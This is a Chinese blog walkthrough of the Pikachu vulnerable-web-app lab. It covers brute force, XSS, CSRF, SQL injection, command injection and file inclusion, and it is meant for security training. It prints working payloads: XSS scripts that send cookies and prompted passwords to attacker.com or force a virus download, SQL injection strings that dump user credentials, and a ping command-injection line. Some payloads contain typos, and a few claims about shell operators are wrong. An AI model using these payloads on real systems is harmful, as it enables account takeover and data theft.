pikachu

参考:pikachu靶场通关全流程(超详细),看这一篇就够了!_pikachu通关教程-CSDN博客

pikachu漏洞靶场(通关教程-保姆级)(完结)_pikachu通关教程-CSDN博客

pikachu靶场全15关通过教程-CSDN博客


暴力破解

Burte Force(暴力破解)概述

“暴力破解”是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。

理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。 我们说一个web应用系统存在暴力破解漏洞,一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高。 这里的认证安全策略, 包括:

1.是否要求用户设置复杂的密码;
2.是否每次认证都使用安全的验证码(想想你买火车票时输的验证码~)或者手机otp;
3.是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等);
4.是否采用了双因素认证;
...等等。
千万不要小看暴力破解漏洞,往往这种简单粗暴的攻击方式带来的效果是超出预期的!


基于表单的暴力破解

随便输入用户名和密码抓包,右键发送到intruder

image-20250409113829445

首先选择clear$,然后分别选中username和password输入的数据进行标记,点击Add$,最后选择攻击方式Cluster bomb

image-20250507111805320

随后进入Payloads模块,在payload set 1位置,也就是username位置,上传关于我们的账号的字典,在2位置选择我们的密码字典2

image-20250507112115268

image-20250507112156853

随后点击右上角start attack进行爆破

爆破结束后,我们可以根据返回数据长度来判断正确的账号密码,返回长度不同于其他数据包的(可以点length进行排序),就是正确的账号密码。这里这两个都可以

image-20250507112637675


验证码绕过(on server)

输入不正确的账号和密码但是验证码正确显示:

image-20250507112927248

输入不正确的账号、密码和验证码正确显示:

image-20250507113016903

抓包,输入错的账号和密码但是对的验证码,右键发送到repeater

改一下账号密码

image-20250507113434595

可以看到并没有显示验证码错误,因为验证码不会变所以可以直接爆破账号密码

和上一个一样的操作

image-20250507113637751

image-20250507113748257


验证码绕过(on client)

和上一题一样试试,显示错的账号密码但是验证码正确

image-20250507114002942

三个全部错

image-20250507114027086

这个和上一个不一样,是弹窗出来的

我们查看源代码发现了验证验证码的代码在前端

image-20250508104428016

我们这里只需要先F12,再F1,选择禁用JavaScript

image-20250508104558493

这样我们就绕过前端验证了

后面的步骤和前两关一样,也是bp抓包,爆破账号密码

image-20250508110547686


token防爆破?

"token"通常指的是一个用于验证用户身份和授权访问的令牌。它是一种特殊的字符串或代码,由服务器生成并分配给经过身份验证的用户。用户在成功登录后,服务器会颁发一个token给客户端(例如Web浏览器),客户端将在随后的请求中将该token作为身份验证凭据发送给服务器。

我们先F12检查,在密码框代码的下边,我们就可以发现进行验证的token

image-20250508111157085

对于有token的的验证,我们适用于已经知道账号的情况,或者账号和密码一一对应的情况,并且我们的暴力破解方式就要有所调整,我们依旧是先抓包,并发送到攻击模块

我们这里的攻击目标要选择password,以及token,攻击方式选择Pitchfork

image-20250508111516568

下面我们来到payloads模块,password设置和之前一样,上传我们的爆破字典即可,第二个位置token处进行如下设置,我们首先来到Settings找到Grep-Extract

image-20250508111718660

随后我们点击Add,并且刷新请求

image-20250508111838150

我们将刷新的请求中的数据包下滑,大约在927行左右找到token,选中并且复制,然后点击ok

我们再回到payloads模块,前两个位置和前几关一样,正常选择字典即可,第二个位置选择Secursive grep(递归搜索),并且将我们刚刚复制的token粘贴到下面的框里,开始攻击即可

image-20250508111951085

有下面弹窗的话

image-20250508112015954

来到resource pool模块,选择创建新的资源池,并把最大请求数改为1

image-20250508112106542

然后开始攻击

image-20250508112152832


Cross-Site Scripting

XSS(跨站脚本)概述

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;


反射型xss(get)

攻击原理

  • 恶意脚本通过 URL 参数(GET 请求) 注入,服务器未过滤直接返回给浏览器执行。
  • 特点:非持久化,需要用户点击构造的恶意链接才会触发。

payload

<script>alert('xss')</script>
  1. <script> 标签用于定义客户端JavaScript代码
  2. alert('xss') 是JavaScript代码,会弹出一个显示"xss"的警告框
  3. </script> 结束脚本标签

它的作用是尝试在网页中注入恶意脚本,如果网站没有防御措施,这段代码会在用户的浏览器中执行,弹出一个显示 "xss" 的警告框

XSS 攻击的原理

  1. 攻击方式:攻击者将恶意脚本(如 JavaScript)注入到网页中,当其他用户访问该页面时,脚本会在他们的浏览器中执行。
  2. 常见场景
    • 用户输入框(如评论、留言板)未过滤恶意代码。
    • URL 参数未转义直接输出到页面。
    • 从数据库读取的内容未经过安全处理直接渲染。

输入完('xss')就不能输入了,明显超过长度限制的

F12,选择这个输入框 ,将最大长度改为100,我们就可以正常输入内容了

image-20250508120246788

image-20250508120311628

弹窗本身只是一个无害的演示,但它揭示了网站存在 XSS漏洞。攻击者可以利用类似的漏洞做更危险的事情,而不仅仅是弹窗

<script>alert('xss')</script>

通过这个payload我们知道了这个网站可以进行xss攻击,攻击者可以替换 alert('xss') 为以下恶意代码:

窃取用户敏感信息

<script>
  // 窃取 Cookie 并发送到攻击者服务器
  fetch('https://attacker.com/steal?data=' + document.cookie);
</script>

后果:攻击者可能直接劫持用户会话(如登录状态)

钓鱼欺骗

<script>
  // 伪造登录弹窗,诱导用户输入密码
  const password = prompt("您的会话已过期,请重新输入密码:");
  fetch('https://attacker.com/steal?password=' + password);
</script>

篡改页面内容

<script>
  // 将页面替换为虚假内容(如虚假银行转账页面)
  document.body.innerHTML = '<h1>请转账至账户:123456</h1>';
</script>

传播恶意软件

<script>
  // 强制下载恶意程序
  window.location.href = "https://attacker.com/virus.exe";
</script>

反射性xss(post)

攻击原理

  • 和 GET 类似,但恶意输入通过 POST 请求 提交(如表单提交)。
  • 特点:相比 GET 型更难利用,因为攻击者需要诱导用户提交恶意表单。

image-20250508120402959

这里的账号密码就是之前暴力破解得到的:admin/123456

image-20250508120440356

输入:

<script>alert('xss')</script>

image-20250508120513832


存储型xss

攻击原理

  • 恶意脚本被 永久存储 在服务器(如数据库、评论区),所有访问受影响页面的用户都会执行。
  • 特点:危害最大,影响范围广(如论坛、社交网站)。
<script>alert('xss')</script>

image-20250508121338371

有弹窗,切换界面再切回来发现还是有弹窗

image-20250508121452294

这说明我们的数据被存储起来了,也就是存储型的xss


DOM型xss

攻击原理

  • 纯前端漏洞,恶意脚本通过 修改 DOM 环境 触发(不依赖服务端返回)。
  • 特点:难以检测,因为攻击发生在客户端。

不与后台服务器产生数据交互,通过DOM操作前端代码 输出的时候产生的问题,一次性,也属于反射型。

DOM是一种用于表示和操作HTML、XML等文档结构的编程接口,通过它可以使用代码来访问、修改和操作Web页面的内容和结构

在输入框输入任意内容,并F12找到输入的内容

image-20250508191557274

找到我们输入的内容,我们就要想办法构造payload了,首先我们需要先闭合我们的语句,然后构造一个onclick

ctrl+u查看源代码

image-20250508192021180

输入框中的内容就是标注的str

所以我们的payload应该是

' onclick=alert('xss')>

闭合后语句为

<a href='' onclick=alert(‘xss’)>'>what do you see?</a>
  • <a href='':开始一个超链接,href 属性值为空(由第一个 ' 闭合)。
  • onclick=alert('xss'):注入的恶意事件,点击时会执行 alert('xss')
  • >'
    • > 用于闭合 <a> 标签的开始部分(即 <a ... >)。
    • 随后的 ' 是多余的,但 浏览器会自动容错忽略它(不影响攻击)。
  • >what do you see?</a>
    • what do you see? 是链接的可见文本。
    • </a> 是合法的标签闭合。

onclick是 HTML 元素(如 <button><a>)的一个标准属性,用于指定当用户点击该元素时执行的 JavaScript 代码,是一个属性名,浏览器会将其解析为事件绑定

输入之后点click me!之后再点what do you see?

image-20250508193806117


DOM型xss

与上一关的区别就是这次是从url中获取我们输入的text参数的,这就类似反射型,其他同上,构造闭合即可

image-20250508194030641


xss盲打

盲打也就是我们在前端并不能看到我们的代码,无法判断xss是否成功,只有在后台才能看到

我们构造payload

<script>alert('xss')</script>

点击提示:登录后台,看会发生啥?后台登录地址是/xssblind/admin_login.php

image-20250508194353267

进来之后是之前暴力破解的账号和密码:admin/123456

image-20250508194421985

成功弹窗,并且弹了两次,也就是说两个输入框都有xss漏洞

image-20250508194455940


xss之过滤

尝试payload

<script>alert('xss')</script>

image-20250508194614683

会发现只有一个>

经过尝试后,我们可以发现,<script>标签被过滤了,我们可以用其他的方法绕过

<a href="" onclick="alert('xss')">
  1. <a> 标签:定义一个超链接。
  2. **href** 用于定义 链接的跳转地址资源的引用路径
  3. onclick 事件:当用户点击该链接时,触发 JavaScript 代码。
  4. alert('xss'):弹出一个警告框,显示 "xss"

image-20250508195154242


xss之htmlspecialchars

尝试之前的payload

<script>alert=('xss')</script>

image-20250508195447396

f12查看输入

image-20250508195540392

image-20250508195810627

利用a进行闭合,这里也是单引号

' onclick='alert("xss")

闭合之后就是

<a href='' onclick='alert("xss")'>

image-20250508200055124

这里去问了一下AI,说是内外的闭合引号不应该一样,所以xss用的是单引号


xss之href输出

尝试利用a标签

' onclick='alert("xss")

ctrl+u查看源代码

image-20250508200709998

发现引号被html编码了

我们这里可以利用JavaScript 代码段

javascript:alert(1)

利用 javascript: 伪协议 执行 XSS(跨站脚本攻击)的典型方式,通常用于 <a> 标签的 href 属性或其他支持 URL 的地方

当用户点击包含这段代码的链接时,浏览器会 直接执行 alert(xss),弹出一个警告框

1 是 JavaScript 合法值(数字类型),无需额外定义,直接执行

image-20250508201320444


xss之js输出

尝试之前的payload

<script>alert('xss')</script>

没有反应,查看源代码

image-20250508201648445

可以看到我们输入的</script>被解析了,所以只需要在payload里面再加一个去闭合前面的就好了

</script><script>alert('xss')</script>

image-20250508201830370


CSRF

CSRF(跨站请求伪造)概述

Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。

很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。
这里列举一个场景解释一下,希望能够帮助你理解。
场景需求:
小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。
先看下大白是如何修改自己的密码的:
登录---修改会员信息,提交请求---修改成功。
所以小黑想要修改大白的信息,他需要拥有:1,登录权限 2,修改个人信息的请求。

但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办?
于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:
http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】
于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。
为啥小黑的操作能够实现呢。有如下几个关键点:
1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;
---因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。
2.小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上;
---如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。
---因此,要成功实施一次CSRF攻击,需要“天时,地利,人和”的条件。
当然,如果小黑事先在xxx网的首页如果发现了一个XSS漏洞,则小黑可能会这样做:

欺骗小白访问埋伏了XSS脚本(盗取cookie的脚本)的页面,小白中招,小黑拿到小白的cookie,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。
---所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。

因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:
--对敏感信息的操作增加安全的token;
--对敏感信息的操作增加安全的验证码;
--对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。


CSRF(get)

点击提示输入账号密码登录

image-20250509154313402

点修改个人信息之后修改信息时并抓包

点击action,生成一个CSRF的利用

image-20250515191439777

这里都可以看到我们之前修改的信息

image-20250515191505537

可以在这里修改信息,修改完之后点Test in browser

image-20250515191651174

image-20250515191701721

复制url去浏览器打开

image-20250515191730893

提交修改

image-20250515191745779

修改成功


CSRF(post)

操作和上一个一样,只是请求方式不同


CSRF Token

f12查看

image-20250515192622344

这里会发现有token,之后每一次请求服务端都会给用户发送一个随机码来预防CSRF请求伪造,所以无法通过伪造url进行修改个人信息


Sql Inject(SQL)

Sql Inject(SQL注入)概述

哦,SQL注入漏洞,可怕的漏洞。

在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!


数字型注入(POST)

这里只有一个选择框不能修改数据,所以抓包修改

image-20250515194113272

id=1 and 1=1

不报错

image-20250515194145225

id=1 and 1=2

报错

image-20250515194205667

可以知道是数字型注入(由题目也可以知道是数字型),所以不需要闭合符

order by看有几列

发现2显示3报错

id=1 order by 2

image-20250515194319809

union联合查询

id=1 union select version(),database()

image-20250515194527631

爆表

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'

image-20250516092645350

爆字段

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'

image-20250516093047859

用户名和密码

id=1 union select 1,group_concat(username,password) from users

image-20250516093243989

密码再拿去md5解密

image-20250516093430782

得到账号密码


字符型注入(GET)

输入框输入1'报错

image-20250516093658551

输入1‘--+正常显示,可以确定闭合符为',可以构造万能密码查询所有数据

' or '1'='1

image-20250516094029577

查询:

1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() --+&submit=查询
1' union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users' --+&submit=查询
1' union select group_concat(username,password),2 from users --+&submit=查询

搜索型注入

输入一个用户名

image-20250516101014547

也是GET,和上一个操作一样

1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database() --+&submit=查询
1' union select group_concat(column_name),2,3 from information_schema.columns where table_schema='pikachu' and table_name='users' --+&submit=查询
1' union select group_concat(username,password),2,3 from users --+&submit=查询

xx型注入

随便输入

image-20250516102256088

也是这里注入,和上一个一样

1') union select group_concat(table_name),2 from information_schema.tables where table_schema=database() --+&submit=查询
1') union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users' --+&submit=查询
1') union select group_concat(username,password),2 from users --+&submit=查询

"insert/update"注入

image-20250516110014649

抓包

单引号报错,后面加and '显示正常,所有闭合符就是单引号

image-20250516110720411

使用updatexml进行报错注入

数据库

username=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and' 

(1) 1' - 初始闭合

  • 闭合前面的单引号
  • 1是随意选的假用户名值

(2) and - 逻辑连接

  • 添加一个新条件,保持SQL语法正确

(3) updatexml() - 报错函数

MySQL XML处理函数,格式:

UPDATEXML(XML_document, XPath_string, new_value)

(4) 参数解析:

  • 第一个参数1:虚拟的XML文档(实际不是有效XML)
  • 第二个参数:
    • concat(0x7e,(select database()),0x7e)
    • 0x7e是波浪号~的十六进制
    • select database()获取当前数据库名
    • ~包裹使结果更醒目
  • 第三个参数1:无效的XPath表达式

(5) and ' - 尾部闭合

  • 闭合后面的单引号,保持语法完整
  • 也可以写成 and '1'='1

工作原理

  1. 数据库尝试执行updatexml()函数

  2. 由于第一个参数不是有效XML,且XPath表达式(1)无效

  3. MySQL会报错,但在错误信息中包含我们构造的第二个参数内容

  4. 错误信息示例:

    ERROR 1105 (HY000): XPATH syntax error: '~database_name~'
    
  5. 攻击者从错误信息中提取出~database_name~,即当前数据库名

image-20250516110807277

表名

username=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and'

image-20250516111346523

字段

username=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) and'

image-20250516111557121

用户名密码

username=1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users LIMIT 0,1),0x7e),1) and'

image-20250516111704482

解决显示长度问题:

  1. 使用substring分段提取
username=1' and updatexml(1,concat(0x7e,
  substring(
    (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),
    1,30
  ),0x7e),1)--+

然后逐步增加起始位置:

substring((SELECT ...),31,30)
substring((SELECT ...),61,30)

image-20250516112808332

  1. 使用mid函数替代substring
username=1' and updatexml(1,concat(0x7e,
  mid(
    (SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users'),
    1,30
  ),0x7e),1)--+

image-20250516112904412

  1. 使用limit分页查询
-- 获取第一个数据
username=1' and updatexml(1,concat(0x7e,
  (SELECT username FROM users LIMIT 0,1)
,0x7e),1)--+

-- 获取第二个数据
username=1' and updatexml(1,concat(0x7e,
  (SELECT username FROM users LIMIT 1,1)
,0x7e),1)--+
  1. 使用concat_ws分隔符+多次查询
-- 获取前两部分数据
username=1' and updatexml(1,concat(0x7e,
  concat_ws('|',
    (SELECT username FROM users LIMIT 0,1),
    (SELECT password FROM users LIMIT 0,1)
  )
,0x7e),1)--+
  1. 使用hex编码绕过限制
username=1' and updatexml(1,concat(0x7e,
  hex(
    (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())
  ),0x7e),1)--+

获取hex编码结果后需要解码

  1. 结合make_set函数
username=1' and updatexml(1,concat(0x7e,
  make_set(1,
    (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())
  ,0x7e),1)--+

"delete"注入

输入数据

image-20250516113514123

点删除并抓包

image-20250516113659113

我们对这个参数进行报错注入,这里空格被过滤了所以用+号

?id=59+and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)

image-20250516113828140

后续的也是和上一个一样的

?id=59+and+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),1)

?id=59+and+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name='users'),0x7e),1)

?id=59+and+updatexml(1,concat(0x7e,(select+group_concat(username,password)+from+users+LIMIT 0,1),0x7e),1)

"http header"注入

根据提示登录进去

image-20250516130501052

显示了我们的UA头和accept信息,点击退出之后重新登陆进行抓包,放一个包看这个

image-20250516133436659

这里在UA头尝试updatxml报错注入

尝试会发现闭合符是单引号

1' and updatexml(1,(concat(0x7e,(select database()),0x7e)),1)and '

image-20250516134006743

后续的步骤和报错注入就一样了

1' and updatexml(1,(concat(0x7e,(select database()),0x7e)),1)and '

1' and updatexml(1,(concat(0x7e,(select gropu_concat(table_name) from information_schema.tables where table_schema=database() ,0x7e)),1)and '

1' and updatexml(1,(concat(0x7e,(select gropu_concat(column_name) from information_schema.cloumns where table_schema=database() and table_name='users',0x7e)),1)and '

1' and updatexml(1,(concat(0x7e,(select gropu_concat(username,password) from users,0x7e)),1)and '

盲注(base on boolian)

通过返回正确还是错误来判断我们输入的条件是否正确

kobe' and 1=1--+

kobe' and 1=2--+

第一个有正确的回显,第二个不是,则可以判断出这个存在注入

判断数据库名长度:

kobe' and length(database())>6--+

image-20250516135100736

正常显示

kobe' and length(database())>7--+

image-20250516135124063

不存在,可以确定数据库长度是7位,在去一位位爆数据库名字

kobe' and ascii(substr(database(),1,1))>111--+

image-20250516135251898

kobe' and ascii(substr(database(),1,1))>112--+

image-20250516135322936

大于111但不大于112,可以确定第一个字符就是p,一次类推得到数据库名、表名、字段名、用户名密码

表名长度:
kobe' and (select length(table_name) from information_schema.tables where table_schema='pikachu' limit 0,1)=X--+

表名:
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),1,1))>X--+

字段长度:
kobe' and (select length(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users' limit 0,1)=X--+

字段名:
kobe' and ascii(substr((select column_name from information_schema.columns where table_schema='pikachu' and table_name='users' limit 0,1),1,1))>X--+

用户名长度:
kobe' and (select length(username) from pikachu.users limit 0,1)=X--+

用户名:
kobe' and ascii(substr((select username from pikachu.users limit 0,1),1,1))>X--+

密码:
kobe' and ascii(substr((select password from pikachu.users limit 0,1),1,1))>X--+

盲注(base on time)

这个也是判断,不过是根据时间来判断

kobe' and sleep(5)#

sleep(5)表示页面要加载五秒

image-20250516141011645

输入之后发现页面确实加载了五秒才回显,所以存在时间注入

我们再构造payload来取数据库名的第一个字符,输入以下payload,页面加载5秒才会显说明 if 的判断为真

kobe' and if(ascii(substring(database(),1,1))>112,sleep(3),null)#

没有过三秒

kobe' and if(ascii(substring(database(),1,1))>111,sleep(3),null)#

过了三秒才回显,所以可以知道ascii对应的是112,p

总:

数据库长度:
kobe' and if(length(database())>7,sleep(3),null)#

数据库名:
kobe' and if(ascii(substring(database(),1,1))>112,sleep(3),null)#

表名长度:
kobe' and if((select length(table_name) from information_schema.tables where table_schema='pikachu' limit 0,1)>5,sleep(3),null)#

表名:
kobe' and if(ascii(substring((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),1,1))>103,sleep(3),null)#

字段名:
kobe' and if(ascii(substring((select column_name from information_schema.columns where table_schema='pikachu' and table_name='users' limit 0,1),1,1))>104,sleep(3),null)#

用户名长度:
kobe' and if((select length(username) from pikachu.users limit 0,1)=X,sleep(3),null)#

用户名:
kobe' and if(ascii(substring((select username from pikachu.users limit 0,1),1,1))>X,sleep(3),null)#

密码长度:
kobe' and if((select length(password) from pikachu.users limit 0,1)=X,sleep(3),null)#

密码:
kobe' and if(ascii(substring((select password from pikachu.users limit 0,1),1,1))>X,sleep(3),null)#

宽字节注入

介绍:

php和mysql默认的字符集不同

在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;

MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);

在PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠”\”,变成%5c%27;

可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;

%5c被吃掉了,单引号由此逃逸可以用来闭合语句。

使用PHP函数iconv(‘utf-8’,‘gbk’,$_GET[‘id’]),也可能导致注入产生。

' ---> \'

%27 ---> %5c%27

%df%5c%27 --->%df%5c(被当成汉字)%27

由上,我们构造 payload:

kobe%df' or 1=1#

image-20250516151121654

name=1%df' union select version(),database() #

image-20250516151343073

后续的就和联合注入一样了

表名:
name=1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

字段名:
name=1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 #
这里查询表内部有引号,需要用十六进制绕过

用户名密码:
name=1%df' union select 1,group_concat(username,password) from users #

SQLMAP

一个自动化工具,能找注入点并且自动注入

80d2a4ffaa0cb7d7d1db82770ccdf1cf

用字符型注入示例:

注入点:
python sqlmap.py -u "http://pikachu:1111/vul/sqli/sqli_str.php?name=11&submit=%E6%9F%A5%E8%AF%A2" --batch

image-20250516144945252

数据库:
python sqlmap.py -u "http://pikachu:1111/vul/sqli/sqli_str.php?name=11&submit=%E6%9F%A5%E8%AF%A2" --batch --dbs

image-20250516150129480

表名:
python sqlmap.py -u "http://pikachu:1111/vul/sqli/sqli_str.php?name=11&submit=%E6%9F%A5%E8%AF%A2" --batch -D pikachu --tables

image-20250516150206465

字段名:
python sqlmap.py -u "http://pikachu:1111/vul/sqli/sqli_str.php?name=11&submit=%E6%9F%A5%E8%AF%A2" --batch -D pikachu -T users --columns

image-20250516145436148

用户名密码:
python sqlmap.py -u "http://pikachu:1111/vul/sqli/sqli_str.php?name=11&submit=%E6%9F%A5%E8%AF%A2" --batch -D pikachu -T users -C username,password --dump

image-20250516145641746


RCE

RCE(remote command/code execute)概述

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

远程系统命令执行

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口

比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上

一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。

而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。

在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"-_-

远程代码执行

同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。

不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。

因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。


exec "ping"

windows和linux系统的连接符:

Windows系统:
|:只执行后面的语句。
||:如果前面的语句执行失败,则执行后面的语句。
&:两条语句都执行,如果前面的语句为假则执行后面的语句,如果前面的语句为真则不执行后面的语句。
&&:如果前面的语句为假,则直接出错,也不再执行后面的语句;前面的语句为真则两条命令都执行,前面的语句只能为真。

Linux系统:
;:执行完前面的语句再执行后面的语句,当有一条命令执行失败时,不会影响其它语句的执行。
|(管道符):只执行后面的语句。
||(逻辑或):只有前面的语句执行出错时,执行后面的语句。
&(后台任务符):两条语句都执行,如果前面的语句为假则执行后面的语句,如果前面的语句为真则不执行后面的语句。
&&(逻辑与):如果前面的语句为假则直接出错,也不再执行后面的语句;前面的语句为真则两条命令都执行,前面的语句只能为真。(命令替换):当一个命令被解析时,它首先会执行反引号之间的操作。例 echo whoami

ping本地回环地址

127.0.0.1

image-20250516153329518

127.0.0.1|whoami

image-20250516153657042


exec "eval"

eval是php远程命令执行的函数

用法:phpinfo();直接查看php配置文件

image-20250516153936132


File Inclusion

File Inclusion(文件包含漏洞)概述

文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。

大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。

但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。

攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。

根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。

因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。

posted @ 2025-05-24 18:27  Anaxa  阅读(106)  评论(0)    收藏  举报